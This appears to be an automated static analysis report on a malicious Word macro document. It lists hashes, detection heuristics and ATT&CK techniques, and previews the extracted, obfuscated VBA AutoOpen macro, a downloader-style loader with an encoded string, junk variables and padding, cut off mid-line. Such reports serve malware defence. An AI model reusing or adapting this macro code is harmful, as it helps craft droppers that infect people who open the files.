Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 852527c54b04a738…

MALICIOUS

Office (OLE)

1.45 MB Created: 2018-10-08 13:24:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: b8cf70aff3134c3a4e1213d0726ae47c SHA-1: 895c4be685ca4c9917100427e046302fd50b0c28 SHA-256: 852527c54b04a7380b88f49827d5c69efe6e9515d32d760c0f283eb2abacf2e2
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file contains VBA macros with an AutoOpen function that calls Shell() and CreateObject(), indicating it's designed to execute arbitrary code. The ClamAV detection and heuristic firings strongly suggest a malicious macro-based document. The script attempts to download and execute a payload, as evidenced by the obfuscated string that likely decodes to a URL or command.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34384 bytes
SHA-256: 05048e54730736b1b219e560b55a26a7a0f9f9a1cccdac6eb0e9a287beaf8f10
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oflPRvrTAjynW"
Sub AutoOpen()
Dim lhIfQBiEHqKxfxISGCe As String
Dim FLNZesrOtwau As Integer
FLNZesrOtwau = 9 * 8
lhIfQBiEHqKxfxISGCe = MOMCqdxBOimtoI(gFpVdtRecxaZD("IDc1O2ltbFs9KCc9JjZbPi5DNSZiNicqbC00ITQsI0YiXCItXjo4V2gqSlY="), "HCAKSBC2PIUVCB2PI3GILUHGCIUGUYO2F3UC2UY3FO23OUYCF32OYUDHOYGU32FVYUO23GF")
Dim icktGyzorcGovMyyx As Collection
Set icktGyzorcGovMyyx = New Collection
icktGyzorcGovMyyx.Add "TUHVVWKSxSbVciVXE"
icktGyzorcGovMyyx.Add "cBnIuvbPJoGftjCGcYv"
icktGyzorcGovMyyx.Add "UVQoMhntIuKm"
HzLeGAXRgdf.TCbXcdeXNMqZmxblkor (lhIfQBiEHqKxfxISGCe)
Dim WZzSagIRpXr As Integer
WZzSagIRpXr = 7
Dim udYjHkWzftMKKAuRj As Integer
udYjHkWzftMKKAuRj = 5 * 5
If WZzSagIRpXr < Len(Application.UserName) Then
Dim mtpnknhDCffCBsry As Integer
mtpnknhDCffCBsry = 7
Dim qTmsIgRTcuCtgQ As Integer
qTmsIgRTcuCtgQ = 9
Dim qujhteeIPCxHAQR As Integer
qujhteeIPCxHAQR = 1
Dim kHMszlwfYZRolVSZnb As Integer
kHMszlwfYZRolVSZnb = 6 * 3
If qujhteeIPCxHAQR < Len(Application.UserName) Then
Dim vuuMGFvRdsmbs As Integer
vuuMGFvRdsmbs = 5 * 9
Dim auOzAApYkuXybnL As Object
Dim bhmyjmXUVIxGdUJYZtO As Collection
Set bhmyjmXUVIxGdUJYZtO = New Collection
bhmyjmXUVIxGdUJYZtO.Add "sRJLAiJphKmJ"
bhmyjmXUVIxGdUJYZtO.Add "rLixtzsjxGwTlB"
bhmyjmXUVIxGdUJYZtO.Add "DbHFIkWZubI"
bhmyjmXUVIxGdUJYZtO.Add "pUpALwiRDLDZI"
bhmyjmXUVIxGdUJYZtO.Add "qGwrUsGvgPArfY"
bhmyjmXUVIxGdUJYZtO.Add "IdrLHUjgBxxzoAPJLF"
bhmyjmXUVIxGdUJYZtO.Add "geirtfbJsFJHgej"
qujhteeIPCxHAQR = Len(Application.UserName)
End If
If qTmsIgRTcuCtgQ < Len(Application.UserName) Then
Dim oMdJcDCofxM As Integer
oMdJcDCofxM = 8 * 3
Dim axPFFsYmbhlDyN As Object
Dim VmMiOtdRZhDdt As Integer
VmMiOtdRZhDdt = 3
Dim mOMxiDtzbLjxu As Integer
mOMxiDtzbLjxu = 7 * 5
If VmMiOtdRZhDdt < Len(Application.UserName) Then
Dim frlwofCEjpSF As Object
Dim CzWTDhRXFVVtFyaLy As Integer
CzWTDhRXFVVtFyaLy = 9
Dim MtNeynsaPDXxdjpp As Integer
MtNeynsaPDXxdjpp = 9 * 7
If CzWTDhRXFVVtFyaLy < Len(Application.UserName) Then
Dim YIJTFtRsmwtJmR As Integer
YIJTFtRsmwtJmR = 4
Dim iicHdKOiAAFkAikznk As Integer
iicHdKOiAAFkAikznk = 8
If iicHdKOiAAFkAikznk < Len(Application.UserName) Then
Dim wACBXMcKwPC As Object
Dim YPElsCVUReEWQbAc As Integer
YPElsCVUReEWQbAc = 7 * 9
iicHdKOiAAFkAikznk = Len(Application.UserName)
End If
If YIJTFtRsmwtJmR < Len(Application.UserName) Then
Dim eAHiIrPzfFZcTUVPsk As Integer
eAHiIrPzfFZcTUVPsk = 4
Dim JgAOVSZRnGvMgkooh As Integer
JgAOVSZRnGvMgkooh = 1
Dim lAcVDkXbGXuHC As Integer
lAcVDkXbGXuHC = 1
Dim boqEFZEisheJZiLXmL As Integer
boqEFZEisheJZiLXmL = 1 * 9
If lAcVDkXbGXuHC < Len(Application.UserName) Then
Dim WMtbxIGKNIBx As Integer
WMtbxIGKNIBx = 1 * 5
Dim PKfeQpAkjMcq As Object
lAcVDkXbGXuHC = Len(Application.UserName)
End If
If JgAOVSZRnGvMgkooh < Len(Application.UserName) Then
Dim KSSuuiWBZNuEEuOAr As Integer
KSSuuiWBZNuEEuOAr = 5 * 1
Dim ehcpjSHqnkoZ As Object
Dim VlYHiFaosFpLOuCd As Integer
VlYHiFaosFpLOuCd = 4 * 8
JgAOVSZRnGvMgkooh = Len(Application.UserName)
End If
If eAHiIrPzfFZcTUVPsk < Len(Application.UserName) Then
Dim JBWyxjMkGXmnihfnViX As Collection
Set JBWyxjMkGXmnihfnViX = New Collection
JBWyxjMkGXmnihfnViX.Add "EmZznNxCRpsGGYw"
JBWyxjMkGXmnihfnViX.Add "veBHIyjhTUtvhI"
JBWyxjMkGXmnihfnViX.Add "lpZuBtUTvKdeq"
JBWyxjMkGXmnihfnViX.Add "VxcFQnwcMQNLN"
JBWyxjMkGXmnihfnViX.Add "RocGHhPrLGoAaJDv"
Dim ThHpBEsTKeruFlT As Object
Dim TiibsbzBxpdYDaejctk As Integer
TiibsbzBxpdYDaejctk = 8 * 5
eAHiIrPzfFZcTUVPsk = Len(Application.UserName)
End If
Dim OVcMDlMhbRdjD As Object
Dim pGLfZQWVKuCmEgAR As Collection
Set pGLfZQWVKuCmEgAR = New Collection
pGLfZQWVKuCmEgAR.Add "AkQwPtojMPVKzbOpr"
pGLfZQWVKuCmEgAR.Add "xSpFOPUtssLqNb"
pGLfZQWVKuCmEgAR.Add "VbpGdluvCGjss"
pGLfZQWVKuCmEgAR.Add "iSfOusLYtCIfcAwmAVY"
pGL
... (truncated)